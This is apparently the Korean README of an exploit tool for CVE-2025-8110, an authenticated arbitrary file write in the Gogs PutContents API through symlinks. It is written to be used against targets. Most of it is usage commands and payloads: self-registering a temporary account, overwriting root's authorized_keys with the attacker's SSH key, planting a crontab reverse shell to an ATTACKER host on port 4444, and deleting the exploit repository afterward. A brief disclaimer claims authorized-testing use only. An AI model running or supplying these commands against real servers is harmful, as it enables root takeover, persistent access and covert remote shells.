
CVE-2025-8110 — Gogs <= 0.13.3 PutContents API의 심볼릭 링크 탐색을 통한 임의 파일 쓰기
Gogs <= 0.13.3은 PutContents API (/api/v1/repos/:owner/:repo/contents/:path)를 통해 임의 파일 쓰기 취약점에 노출됩니다.
API는 디렉토리 탐색 시퀀스(../)에 대해 파일 경로를 검증하지만 파일을 쓰기 전에 심볼릭 링크를 확인하지 않습니다. 인증된 사용자는 서버의 모든 파일을 가리키는 심볼릭 링크가 포함된 커밋을 푸시한 다음 해당 심볼릭 링크에 대해 PutContents를 호출하여 공격자가 제어하는 콘텐츠로 대상 파일을 덮어쓸 수 있습니다.
Gogs가 root로 실행될 때(도커 및 많은 배포에서 기본값), 이는 전체 시스템 손상으로 이어집니다.
| 세부 사항 | 값 |
|---|---|
| CVE | CVE-2025-8110 |
| 영향 | Gogs <= 0.13.3 |
| 유형 | 인증된 임의 파일 쓰기 → RCE |
| CVSS | 8.8 (높음) |
| 구성 요소 | PutContents API |
requests (pip install requests)git CLI# 임시 계정을 셀프 등록하고 root용 SSH 공개키를 작성합니다
python3 CVE-2025-8110.py --url http://target:3001 --register \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub
# 기존 자격 증명 사용
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub
# crontab을 통한 리버스 셸
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /etc/crontab \
--content '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'
# 사용 후 익스플로잇 저장소 정리
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub --cleanup
/root/.ssh/authorized_keys)을 가리키는 심볼릭 링크를 생성한 후 커밋하고 푸시합니다.root)로 공격자 콘텐츠를 실제 파일에 씁니다.--url Gogs 기본 URL (예: http://target:3001)
-u, --user Gogs 사용자 이름
-p, --password Gogs 비밀번호
--register 임시 계정 셀프 등록 (캡차 없음)
--target-file 서버에서 덮어쓸 절대 경로
--content 쓸 문자열 내용
--content-file 내용을 쓸 로컬 파일
--repo 생성할 저장소 이름 (기본값: 랜덤)
--link-name 저장소 내 심볼릭 링크 파일명 (기본값: payload)
--cleanup 쓰기 후 익스플로잇 저장소 삭제
이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 책임감 있게 사용하세요.